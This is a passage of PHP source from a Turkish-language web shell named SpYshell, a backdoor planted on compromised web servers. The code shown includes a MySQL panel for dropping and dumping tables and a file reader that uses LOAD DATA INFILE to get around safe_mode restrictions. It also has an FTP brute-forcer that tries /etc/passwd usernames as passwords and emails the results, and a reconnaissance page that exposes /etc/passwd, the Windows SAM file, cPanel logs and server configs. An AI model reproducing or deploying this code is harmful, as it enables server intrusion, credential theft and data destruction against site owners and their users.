        echo "<tr><td><b>".htmlspecialchars($name)."</b></td><td>".$field["Tip"]."</td><td><select name=\"sql_tbl_insert_functs[".htmlspecialchars($name)."]\"><option value=\"\"></option><option>PASSWORD</option><option>MD5</option><option>ENCRYPT</option><option>ASCII</option><option>CHAR</option><option>RAND</option><option>LAST_INSERT_ID</option><option>COUNT</option><option>AVG</option><option>SUM</option><option value=\"\">--------</option><option>SOUNDEX</option><option>LCASE</option><option>UCASE</option><option>NOW</option><option>CURDATE</option><option>CURTIME</option><option>FROM_DAYS</option><option>FROM_UNIXTIME</option><option>PERIOD_ADD</option><option>PERIOD_DIFF</option><option>TO_DAYS</option><option>UNIX_TIMESTAMP</option><option>USER</option><option>WEEKDAY</option><option>CONCAT</option></select></td><td><input type=\"text\" name=\"sql_tbl_insert[".htmlspecialchars($name)."]\" value=\"".htmlspecialchars($values[$name])."\" size=50></td></tr>";
        $i++;
       }
       echo "</table><br>";
       echo "<input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"1\""; if (empty($sql_tbl_insert_q)) {echo " checked";} echo "><b>Yeni ilave sok</b>";
       if (!empty($sql_tbl_insert_q)) {echo " or <input type=\"radio\" name=\"sql_tbl_insert_radio\" value=\"2\" checked><b>Save</b>"; echo "<input type=\"hidden\" name=\"sql_tbl_insert_q\" value=\"".htmlspecialchars($sql_tbl_insert_q)."\">";}
       echo "<br><br><input type=\"submit\" value=\"Tamam\"></form>";
      }
     }
     if ($sql_tbl_act == "browse")
     {
      $sql_tbl_ls = abs($sql_tbl_ls);
      $sql_tbl_le = abs($sql_tbl_le);
      echo "<hr size=\"1\" noshade>";
      echo "<img src=\"".$surl."act=img&img=multipage\" height=\"12\" width=\"10\" alt=\"Sayfalar\">&nbsp;";
      $b = 0;
      for($i=0;$i<$numpages;$i++)
      {
       if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "<a href=\"".$sql_surl."sql_tbl=".urlencode($sql_tbl)."&sql_order=".htmlspecialchars($sql_order)."&sql_tbl_ls=".($i*$perpage)."&sql_tbl_le=".($i*$perpage+$perpage)."\"><u>";}
       echo $i;
       if (($i*$perpage != $sql_tbl_ls) or ($i*$perpage+$perpage != $sql_tbl_le)) {echo "</u></a>";}
       if (($i/30 == round($i/30)) and ($i > 0)) {echo "<br>";}
       else {echo "&nbsp;";}
      }
      if ($i == 0) {echo "empty";}
      echo "<form method=\"GET\"><input type=\"hidden\" name=\"act\" value=\"sql\"><input type=\"hidden\" name=\"sql_db\" value=\"".htmlspecialchars($sql_db)."\"><input type=\"hidden\" name=\"sql_login\" value=\"".htmlspecialchars($sql_login)."\"><input type=\"hidden\" name=\"sql_passwd\" value=\"".htmlspecialchars($sql_passwd)."\"><input type=\"hidden\" name=\"sql_server\" value=\"".htmlspecialchars($sql_server)."\"><input type=\"hidden\" name=\"sql_port\" value=\"".htmlspecialchars($sql_port)."\"><input type=\"hidden\" name=\"sql_tbl\" value=\"".htmlspecialchars($sql_tbl)."\"><input type=\"hidden\" name=\"sql_order\" value=\"".htmlspecialchars($sql_order)."\"><b>From:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_ls\" value=\"".$sql_tbl_ls."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"sql_tbl_le\" value=\"".$sql_tbl_le."\">&nbsp;<input type=\"submit\" value=\"View\"></form>";
      echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"1%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1>";
      echo "<tr>";
      echo "<td><input type=\"checkbox\" name=\"boxrow_all\" value=\"1\"></td>";
      for ($i=0;$i<mysql_num_fields($result);$i++)
      {
       $v = mysql_field_name($result,$i);
       if ($e[0] == "a") {$s = "d"; $m = "asc";}
       else {$s = "a"; $m = "desc";}
       echo "<td>";
       if (empty($e[0])) {$e[0] = "a";}
       if ($e[1] != $v) {echo "<a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$e[0]."%20".$v."\"><b>".$v."</b></a>";}
       else {echo "<b>".$v."</b><a href=\"".$sql_surl."sql_tbl=".$sql_tbl."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_ls=".$sql_tbl_ls."&sql_order=".$s."%20".$v."\"><img src=\"".$surl."act=img&img=sort_".$m."\" height=\"9\" width=\"14\" alt=\"".$m."\"></a>";}
       echo "</td>";
      }
      echo "<td><font color=\"green\"><b>Action</b></font></td>";
      echo "</tr>";
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
      {
       echo "<tr>";
       $w = "";
       $i = 0;
       foreach ($row as $k=>$v) {$name = mysql_field_name($result,$i); $w .= " `".$name."` = \'".addslashes($v)."\' AND"; $i++;}
       if (count($row) > 0) {$w = substr($w,0,strlen($w)-3);}
       echo "<td><input type=\"checkbox\" name=\"boxrow[]\" value=\"".$w."\"></td>";
       $i = 0;
       foreach ($row as $k=>$v)
       {
        $v = htmlspecialchars($v);
        if ($v == "") {$v = "<font color=\"green\">NULL</font>";}
        echo "<td>".$v."</td>";
        $i++;
       }
       echo "<td>";
       echo "<a href=\"".$sql_surl."sql_act=query&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_query=".urlencode("DELETE FROM `".$sql_tbl."` WHERE".$w." LIMIT 1;")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"SIL\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;";
       echo "<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".urlencode($sql_tbl)."&sql_tbl_ls=".$sql_tbl_ls."&sql_tbl_le=".$sql_tbl_le."&sql_tbl_insert_q=".urlencode($w)."\"><img src=\"".$surl."act=img&img=change\" alt=\"Duzenle\" height=\"14\" width=\"14\" border=\"0\"></a>&nbsp;";
       echo "</td>";
       echo "</tr>";
      }
      mysql_free_result($result);
      echo "</table><hr size=\"1\" noshade><p align=\"left\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
      echo "<option value=\"\">Secildi:</option>";
      echo "<option value=\"deleterow\">SIL/option>";
      echo "</select>&nbsp;<input type=\"submit\" value=\"Tamam\"></form></p>";
     }
    }
    else
    {
     $result = mysql_query("SHOW TABLE STATUS", $sql_sock);
     if (!$result) {echo mysql_smarterror();}
     else
     {
      echo "<br><form method=\"POST\"><TABLE cellSpacing=0 borderColorDark=#666666 cellPadding=5 width=\"100%\" bgColor=#333333 borderColorLight=#c0c0c0 border=1><tr><td><input type=\"checkbox\" name=\"boxtbl_all\" value=\"1\"></td><td><center><b>Table</b></center></td><td><b>Rows</b></td><td><b>Type</b></td><td><b>Olusturd</b></td><td><b>Modified</b></td><td><b>Size</b></td><td><b>Action</b></td></tr>";
      $i = 0;
      $tsize = $trows = 0;
      while ($row = mysql_fetch_array($result, MYSQL_ASSOC))
      {
       $tsize += $row["Data_length"];
       $trows += $row["Rows"];
       $size = view_size($row["Data_length"]);
       echo "<tr>";
       echo "<td><input type=\"checkbox\" name=\"boxtbl[]\" value=\"".$row["Name"]."\"></td>";
       echo "<td>&nbsp;<a href=\"".$sql_surl."sql_tbl=".urlencode($row["Name"])."\"><b>".$row["Name"]."</b></a>&nbsp;</td>";
       echo "<td>".$row["Rows"]."</td>";
       echo "<td>".$row["Tip"]."</td>";
       echo "<td>".$row["Olusturma Zamani"]."</td>";
       echo "<td>".$row["Guncelleme Zamani"]."</td>";
       echo "<td>".$size."</td>";
       echo "<td>&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DELETE FROM `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_empty\" alt=\"BOS\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;&nbsp;<a href=\"".$sql_surl."sql_act=query&sql_query=".urlencode("DROP TABLE `".$row["Name"]."`")."\"><img src=\"".$surl."act=img&img=sql_button_drop\" alt=\"Drop\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;<a href=\"".$sql_surl."sql_tbl_act=insert&sql_tbl=".$row["Name"]."\"><img src=\"".$surl."act=img&img=sql_button_insert\" alt=\"Sok :)\" height=\"13\" width=\"11\" border=\"0\"></a>&nbsp;</td>";
       echo "</tr>";
       $i++;
      }
      echo "<tr bgcolor=\"000000\">";
      echo "<td><center><b>?</b></center></td>";
      echo "<td><center><b>".$i." table(s)</b></center></td>";
      echo "<td><b>".$trows."</b></td>";
      echo "<td>".$row[1]."</td>";
      echo "<td>".$row[10]."</td>";
      echo "<td>".$row[11]."</td>";
      echo "<td><b>".view_size($tsize)."</b></td>";
      echo "<td></td>";
      echo "</tr>";
      echo "</table><hr size=\"1\" noshade><p align=\"right\"><img src=\"".$surl."act=img&img=arrow_ltr\" border=\"0\"><select name=\"sql_act\">";
      echo "<option value=\"\">Sec:</option>";
      echo "<option value=\"tbldrop\">Drop</option>";
      echo "<option value=\"tblempty\">Empty</option>";
      echo "<option value=\"tbldump\">Dump</option>";
      echo "<option value=\"tblcheck\">Check table</option>";
      echo "<option value=\"tbloptimize\">Optimize table</option>";
      echo "<option value=\"tblrepair\">Repair table</option>";
      echo "<option value=\"tblanalyze\">Analyze table</option>";
      echo "</select>&nbsp;<input type=\"submit\" value=\"Tamam!\"></form></p>";
      mysql_free_result($result);
     }
    }
   }
   }
  }
  else
  {
   $acts = array("","newdb","serverstatus","servervars","processes","getfile");
   if (in_array($sql_act,$acts)) {?><table border="0" width="100%" height="1"><tr><td width="30%" height="1"><b>Olustur yeni DB:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="newdb"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_newdb" size="20">&nbsp;<input type="submit" value="Olustur"></form></td><td width="30%" height="1"><b>View File:</b><form action="<?php echo $surl; ?>"><input type="hidden" name="act" value="sql"><input type="hidden" name="sql_act" value="getfile"><input type="hidden" name="sql_login" value="<?php echo htmlspecialchars($sql_login); ?>"><input type="hidden" name="sql_passwd" value="<?php echo htmlspecialchars($sql_passwd); ?>"><input type="hidden" name="sql_server" value="<?php echo htmlspecialchars($sql_server); ?>"><input type="hidden" name="sql_port" value="<?php echo htmlspecialchars($sql_port); ?>"><input type="text" name="sql_getfile" size="30" value="<?php echo htmlspecialchars($sql_getfile); ?>">&nbsp;<input type="submit" value="Get"></form></td><td width="30%" height="1"></td></tr><tr><td width="30%" height="1"></td><td width="30%" height="1"></td><td width="30%" height="1"></td></tr></table><?php }
   if (!empty($sql_act))
   {
    echo "<hr size=\"1\" noshade>";
    if ($sql_act == "newdb")
    {
     echo "<b>";
     if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DataBase \"".htmlspecialchars($sql_newdb)."\" Olusturma tamamlandi.</b><br>";}
     else {echo "Olusturulamadi \"".htmlspecialchars($sql_newdb)."\".<br>Sebep:</b> ".mysql_smarterror();}
    }
    if ($sql_act == "serverstatus")
    {
     $result = mysql_query("SHOW STATUS", $sql_sock);
     echo "<center><b>Server Durumu Kararsiz:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
     echo "</table></center>";
     mysql_free_result($result);
    }
    if ($sql_act == "servervars")
    {
     $result = mysql_query("SHOW VARIABLES", $sql_sock);
     echo "<center><b>Server variables:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=0 bgColor=#333333 borderColorLight=#333333 border=1><td><b>Name</b></td><td><b>Value</b></td></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td></tr>";}
     echo "</table>";
     mysql_free_result($result);
    }
    if ($sql_act == "processes")
    {
     if (!empty($kill)) {$query = "KILL ".$kill.";"; $result = mysql_query($query, $sql_sock); echo "<b>Killing process #".$kill."... ok. he is dead, amen.</b>";}
     $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
     echo "<center><b>Processes:</b><br><br>";
     echo "<TABLE cellSpacing=0 cellPadding=2 bgColor=#333333 borderColorLight=#333333 border=1><td><b>ID</b></td><td><b>USER</b></td><td><b>HOST</b></td><td><b>DB</b></td><td><b>COMMAND</b></td><td><b>TIME</b></td><td><b>STATE</b></td><td><b>INFO</b></td><td><b>Action</b></td></tr>";
     while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "<tr><td>".$row[0]."</td><td>".$row[1]."</td><td>".$row[2]."</td><td>".$row[3]."</td><td>".$row[4]."</td><td>".$row[5]."</td><td>".$row[6]."</td><td>".$row[7]."</td><td><a href=\"".$sql_surl."sql_act=processes&kill=".$row[0]."\"><u>Kill</u></a></td></tr>";}
     echo "</table>";
     mysql_free_result($result);
    }
    if ($sql_act == "getfile")
    {
     $tmpdb = $sql_login."_tmpdb";
     $select = mysql_select_db($tmpdb);
     if (!$select) {mysql_create_db($tmpdb); $select = mysql_select_db($tmpdb); $created = !!$select;}
     if ($select)
     {
      $created = false;
      mysql_query("Olustur TABLE `tmp_file` ( `Gozleninen dosya guvenli mod da+open_basedir` LONGBLOB NOT NULL );");
      mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file");
      $result = mysql_query("SELECT * FROM tmp_file;");
      if (!$result) {echo "<b>Okuma Hatasi (Erisim Engellendi!)!</b>";}
      else
      {
       for ($i=0;$i<mysql_num_fields($result);$i++) {$name = mysql_field_name($result,$i);}
       $f = "";
       while ($row = mysql_fetch_array($result, MYSQL_ASSOC)) {$f .= join ("
",$row);}
       if (empty($f)) {echo "<b>Dosya \"".$sql_getfile."\" yok veya Bo$!</b><br>";}
       else {echo "<b>File \"".$sql_getfile."\":</b><br>".nl2br(htmlspecialchars($f))."<br>";}
       mysql_free_result($result);
       mysql_query("DROP TABLE tmp_file;");
      }
     }
     mysql_drop_db($tmpdb); //comment it if you want to leave database
    }
   }
  }
 }
 echo "</td></tr></table>";
 if ($sql_sock)
 {
  $affected = @mysql_affected_rows($sql_sock);
  if ((!is_numeric($affected)) or ($affected < 0)){$affected = 0;}
  echo "<tr><td><center><b>yapmacik(sahte) rows: ".$affected."</center></td></tr>";
 }
 echo "</table>";
}
if ($act == "mkdir")
{
 if ($mkdir != $d)
 {
  if (file_exists($mkdir)) {echo "<b>Klasor yap \"".htmlspecialchars($mkdir)."\"</b>: Obje Zaten Var..";}
  elseif (!mkdir($mkdir)) {echo "<b>Klasor yap \"".htmlspecialchars($mkdir)."\"</b>: Giris Izin Vermedi";}
  echo "<br><br>";
 }
 $act = $dspact = "ls";
}
if ($act == "ftpquickbrute")
{
 echo "<b>Ftp Hizli Sifre Alma :P By KingDefacer</b><br>";
 if (!win) {echo "Windows ta Calismaz haa ona goreeee SpyHackTeaM <br><br>";}
 else
 {
  function ashftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
  {
   if ($fqb_onlywithsh) {$true = (!in_array($sh,array("/bin/false","/sbin/nologin")));}
   else {$true = true;}
   if ($true)
   {
    $sock = @ftp_connect($host,$port,$timeout);
    if (@ftp_login($sock,$login,$pass))
    {
     echo "<a href=\"ftp://".$login.":".$pass."@".$host."\" target=\"_blank\"><b>Baglanildi.. ".$host." icin  Giris \"".$login."\" &  Sifre \"".$pass."\"</b></a>.<br>";																																    ob_flush();
     return true;
    }
   }
  }
  if (!empty($submit))
  {
   if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
   $fp = fopen("/etc/passwd","r");
   if (!$fp) {echo "/etc/passwd -Sifre listesi alinamadi.";}
   else
   {
    if ($fqb_logging)
    {
     if ($fqb_logfile) {$fqb_logfp = fopen($fqb_logfile,"w");}
     else {$fqb_logfp = false;}
     $fqb_log = "FTP Hizli Brute (called SpYshell ".$shver.") Baslanan ".date("d.m.Y H:i:s")."

";
     if ($fqb_logfile) {fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
    }
    ob_flush();
    $i = $success = 0;
    $ftpquick_st = getmicrotime();
    while(!feof($fp))
    {
     $str = explode(":",fgets($fp,2048));
     if (ashftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
     {
      echo "<b>Baglanildi -->".getenv("SERVER_NAME")." a login \"".$str[0]."\" Ve sifre \"".$str[0]."\"</b><br>";
      $fqb_log .= "Baglanildi -->".getenv("SERVER_NAME")." a login \"".$str[0]."\" ve Sifre \"".$str[0]."\", at ".date("d.m.Y H:i:s")."
";
      if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
      $success++;
      ob_flush();
     }
     if ($i > $fqb_lenght) {break;}
     $i++;
    }
    if ($success == 0) {echo "No success. baglantilar!"; $fqb_log .= "No success. baglantilar!
";}
    $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
    echo "<hr size=\"1\" noshade><b>Done!</b><br>Total time (secs.): ".$ftpquick_t."<br>Toplam Baglanti: ".$i."<br>Success.: <font color=green><b>".$success."</b></font><br>Unsuccess.:".($i-$success)."</b><br>Connects per second: ".round($i/$ftpquick_t,2)."<br>";
    $fqb_log .= "
------------------------------------------
Done!
Total time (secs.): ".$ftpquick_t."
Total connections: ".$i."
Success.: ".$success."
Unsuccess.:".($i-$success)."
Connects per second: ".round($i/$ftpquick_t,2)."
";
    if ($fqb_logfp) {fseek($fqb_logfp,0); fwrite($fqb_logfp,$fqb_log,strlen($fqb_log));}
    if ($fqb_logemail) {@mail($fqb_logemail,"SpYshell v. ".$shver." report",$fqb_log);}
    fclose($fqb_logfp);
   }
  }
  else
  {
   $logfile = $tmpdir_logs."ashsh_ftpquickbrute_".date("d.m.Y_H_i_s").".log";
   $logfile = str_replace("//",DIRECTORY_SEPARATOR,$logfile);
   echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"ftpquickbrute\"><br>Read first: <input type=text name=\"fqb_lenght\" value=\"".$nixpwdperpage."\"><br><br>Users only with shell?&nbsp;<input type=\"checkbox\" name=\"fqb_onlywithsh\" value=\"1\"><br><br>Logging?&nbsp;<input type=\"checkbox\" name=\"fqb_logging\" value=\"1\" checked><br>Logging to file?&nbsp;<input type=\"text\" name=\"fqb_logfile\" value=\"".$logfile."\" size=\"".(strlen($logfile)+2*(strlen($logfile)/10))."\"><br>Logging to e-mail?&nbsp;<input type=\"text\" name=\"fqb_logemail\" value=\"".$log_email."\" size=\"".(strlen($logemail)+2*(strlen($logemail)/10))."\"><br><br><input type=submit name=submit value=\"Brute Yap\"></form>";
  }
 }
}
if ($act == "d")
{
 if (!is_dir($d)) {echo "<center><b>Permision Engelledi!</b></center>";}
 else
 {
  echo "<b>Uzanti Bilgisi:</b><table border=0 cellspacing=1 cellpadding=2>";
  if (!$win)
  {
   echo "<tr><td><b>Owner/Group</b></td><td> ";
   $ow = posix_getpwuid(fileowner($d));
   $gr = posix_getgrgid(filegroup($d));
   $row[] = ($ow["name"]?$ow["name"]:fileowner($d))."/".($gr["name"]?$gr["name"]:filegroup($d));
  }
  echo "<tr><td><b>Permissions(Engel)</b></td><td><a href=\"".$surl."act=chmod&d=".urlencode($d)."\"><b>".view_perms_color($d)."</b></a><tr><td><b>Olusturma Zamani:</b></td><td> ".date("d/m/Y H:i:s",filectime($d))."</td></tr><tr><td><b>Giris Zamani:</b></td><td> ".date("d/m/Y H:i:s",fileatime($d))."</td></tr><tr><td><b>Modifiye Zamani:</b></td><td> ".date("d/m/Y H:i:s",filemtime($d))."</td></tr></table><br>";
 }
}
if ($act == "phpinfo") {@ob_clean(); phpinfo(); ashshexit();}
if ($act == "security")
{
 echo "<center><b>Server Guvenlik Bilgisi:</b></center><b>Dizin: ".$hopenbasedir."</b><br>";
 if (!$win)
 {
  if ($nixpasswd)
  {
   if ($nixpasswd == 1) {$nixpasswd = 0;}
   echo "<b>*nix /etc/passwd:</b><br>";
   if (!is_numeric($nixpwd_s)) {$nixpwd_s = 0;}
   if (!is_numeric($nixpwd_e)) {$nixpwd_e = $nixpwdperpage;}
   echo "<form action=\"".$surl."\"><input type=hidden name=act value=\"security\"><input type=hidden name=\"nixpasswd\" value=\"1\"><b>From:</b>&nbsp;<input type=\"text=\" name=\"nixpwd_s\" value=\"".$nixpwd_s."\">&nbsp;<b>To:</b>&nbsp;<input type=\"text\" name=\"nixpwd_e\" value=\"".$nixpwd_e."\">&nbsp;<input type=submit value=\"View\"></form><br>";
   $i = $nixpwd_s;
   while ($i < $nixpwd_e)
   {
    $uid = posix_getpwuid($i);
    if ($uid)
    {
     $uid["dir"] = "<a href=\"".$surl."act=ls&d=".urlencode($uid["dir"])."\">".$uid["dir"]."</a>";
     echo join(":",$uid)."<br>";
    }
    $i++;
   }
  }
  else {echo "<br><a href=\"".$surl."act=security&nixpasswd=1&d=".$ud."\"><b><u>Get /etc/passwd</u></b></a><br>";}
 }
 else
 {
  $v = $_SERVER["WINDIR"]."
epair\sam";
  if (file_get_contents($v)) {echo "<b><font color=red>Winnt Sifresini Kiramazssin :( (".$v.") </font></b><br>";}
  else {echo "<b><font color=green>Sen winnt Sifresini Kirabilirsin dostum :)<a href=\"".$surl."act=f&f=sam&d=".$_SERVER["WINDIR"]."\repair&ft=download\"><u><b>Indir</b></u></a>, ve kullan lcp.crack+ ?.</font></b><br>";}
 }
 if (file_get_contents("/etc/userdomains")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=userdomains&d=".urlencode("/etc")."&ft=txt\"><u><b>SpyHaCKeRz.CoM</b></u></a></font></b><br>";}
 if (file_get_contents("/var/cpanel/accounting.log")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=accounting.log&d=".urlencode("/var/cpanel/")."\"&ft=txt><u><b>Cpanel Loglarini Gor</b></u></a></font></b><br>";}
 if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/usr/local/apache/conf")."&ft=txt\"><u><b>Apache Konfigirasyon (httpd.conf)</b></u></a></font></b><br>";}
 if (file_get_contents("/etc/httpd.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=httpd.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Apache Konfigirasyon (httpd.conf)</b></u></a></font></b><br>";}
 if (file_get_contents("/etc/syslog.conf")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=syslog.conf&d=".urlencode("/etc")."&ft=txt\"><u><b>Syslog Konfigirasyon (syslog.conf)</b></u></a></font></b><br>";}
 if (file_get_contents("/etc/motd")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=motd&d=".urlencode("/etc")."&ft=txt\"><u><b>Gunluk Mesaj</b></u></a></font></b><br>";}
 if (file_get_contents("/etc/hosts")) {echo "<b><font color=green><a href=\"".$surl."act=f&f=hosts&d=".urlencode("/etc")."&ft=txt\"><u><b>Hosts</b></u></a></font></b><br>";}
 function displaysecinfo($name,$value) {if (!empty($value)) {if (!empty($name)) {$name = "<b>".$name." - </b>";} echo $name.nl2br($value)."<br>";}}
 displaysecinfo("Isletim sistemi",myshellexec("cat /proc/version"));
 displaysecinfo("Kernel version?",myshellexec("sysctl -a | grep version"));
 displaysecinfo("Sinif Adi",myshellexec("cat /etc/issue.net"));
 displaysecinfo("Sinif adi (2)",myshellexec("cat /etc/*-realise"));
 displaysecinfo("Islemci",myshellexec("cat /proc/cpuinfo"));
 displaysecinfo("RAM",myshellexec("free -m"));
 displaysecinfo("Hard Disk Alani",myshellexec("df -h"));
 displaysecinfo("Local Dizin",myshellexec("lsattr -a"));
 displaysecinfo("Disk Yazma Bilgileri ",myshellexec("cat /etc/fstab"));
 displaysecinfo("cURL Yuklu?",myshellexec("which curl"));
 displaysecinfo("lynx Yuklu?",myshellexec("which lynx"));
 displaysecinfo("links Yuklu?",myshellexec("which links"));
 displaysecinfo("fetch Yuklu?",myshellexec("which fetch"));
 displaysecinfo("GET Yuklu?",myshellexec("which GET"));
 displaysecinfo("perl Yuklu?",myshellexec("which perl"));
 displaysecinfo("Apache yuklu yer ?",myshellexec("whereis apache"));
 displaysecinfo("Perl Yuklu yer ?",myshellexec("whereis perl"));
 displaysecinfo("locate proftpd.conf",myshellexec("locate proftpd.conf"));
 displaysecinfo("locate httpd.conf",myshellexec("locate httpd.conf"));
 displaysecinfo("locate my.conf",myshellexec("locate my.conf"));
 displaysecinfo("locate psybnc.conf",myshellexec("locate psybnc.conf"));
}
if ($act == "mkfile")
{
 if ($mkfile != $d)
 {
  if (file_exists($mkfile)) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: object alredy exists";}
  elseif (!fopen($mkfile,"w")) {echo "<b>Make File \"".htmlspecialchars($mkfile)."\"</b>: access denied";}
  else {$act = "f"; $d = dirname($mkfile); if (substr($d,-1) != DIRECTORY_SEPARATOR) {$d .= DIRECTORY_SEPARATOR;} $f = basename($mkfile);}
 }
 else {$act = $dspact = "ls";}
}
if ($act == "encoder")
{
 echo "<script>function set_encoder_input(text) {document.forms.encoder.input.value = text;}</script><center><b>Cyriptos:</b></center><form name=\"encoder\" action=\"".$surl."\" method=POST><input type=hidden name=act value=encoder><b>Girilen Veri:</b><center><textarea name=\"encoder_input\" id=\"input\" cols=50 rows=5>".@htmlspecialchars($encoder_input)."</textarea><br><br><input type=submit value=\"Tamam\"><br><br></center><b>Hashes</b>:<br><center>";
 foreach(array("md5","crypt","sha1","crc32") as $v)
 {
  echo $v." - <input type=text size=50 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$v($encoder_input)."\" readonly><br>";
 }
 echo "</center><b>Url:</b><center><br>urlencode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".urlencode($encoder_input)."\" readonly>
 <br>urldecode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".htmlspecialchars(urldecode($encoder_input))."\" readonly>
 <br></center><b>Base64:</b><center>base64_encode - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".base64_encode($encoder_input)."\" readonly></center>";
 echo "<center>base64_decode - ";
 if (base64_encode(base64_decode($encoder_input)) != $encoder_input) {echo "<input type=text size=35 value=\"failed\" disabled readonly>";}
 else
 {
  $debase64 = base64_decode($encoder_input);
  $debase64 = str_replace("","[0]",$debase64);
  $a = explode("
",$debase64);
  $rows = count($a);
  $debase64 = htmlspecialchars($debase64);
  if ($rows == 1) {echo "<input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"".$debase64."\" id=\"debase64\" readonly>";}
  else {$rows++; echo "<textarea cols=\"40\" rows=\"".$rows."\" onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" id=\"debase64\" readonly>".$debase64."</textarea>";}
  echo "&nbsp;<a href=\"#\" onclick=\"set_encoder_input(document.forms.encoder.debase64.value)\"><b>^</b></a>";
 }
 echo "</center><br><b>Base convertations</b>:<center>dec2hex - <input type=text size=35 onFocus=\"this.select()\" onMouseover=\"this.select()\" onMouseout=\"this.select()\" value=\"";
 $c = strlen($encoder_input);
 for($i=0;$i<$c;$i++)
 {
  $hex = dechex(ord($encoder_input[$i]));
  if ($encoder_input[$i] == "&") {echo $encoder_input[$i];}
  elseif ($encoder_input[$i] != "\") {echo "%".$hex;}
 }
 echo "\" readonly><br></center></form>";
}
if ($act == "fsbuff")
{
 $arr_copy = $sess_data["copy"];
 $arr_cut = $sess_data["cut"];
 $arr = array_merge($arr_copy,$arr_cut);
 if (count($arr) == 0) {echo "<center><b>Tampon Bos</b></center>";}
 else {echo "<b>Dosya Sistem\' in Tampon u</b><br><br>"; $ls_arr = $arr; $disp_fullpath = true; $act = "ls";}
}
if ($act == "selfremove")
{
 if (($submit == $rndcode) and ($submit != ""))
 {
  if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using SpYshell v.".$shver."!"; ashshexit(); }
  else {echo "<center><b>Silinemedi :(  ".__FILE__."!</b></center>";}
 }
 else
 {
  if (!empty($rndcode)) {echo "<b>Hata: Yanlis konfirmation</b>";}
  $rnd = rand(0,9).rand(0,9).rand(0,9);
  echo "<form action=\"".$surl."\"><input type=hidden name=act value=selfremove><b>Self-remove: ".__FILE__." <br><b>Eminmisin ? <br>Dogrulama gir \"".$rnd."\"</b>:&nbsp;<input type=hidden name=rndcode value=\"".$rnd."\"><input type=text name=submit>&nbsp;<input type=submit value=\"Evet\"></form>";
 }
}
if ($act == "update") {$ret = ashsh_getupdate(!!$confirmupdate); echo "<b>".$ret."</b>"; if (stristr($ret,"new version")) {echo "<br><br><input type=button onclick=\"location.href=\'".$surl."act=update&confirmupdate=1\';\" value=\"Update now\">";}}
if ($act == "feedback")
{
 $suppmail = base64_decode("Yzk5c2hlbGxAY2N0ZWFtLnJ1");
 if (!empty($submit))
 {
  $ticket = substr(md5(microtime()+rand(1,1000)),0,6);
  $body = "SpYshell v.".$shver." feedback #".$ticket."
Name: ".htmlspecialchars($fdbk_name)."
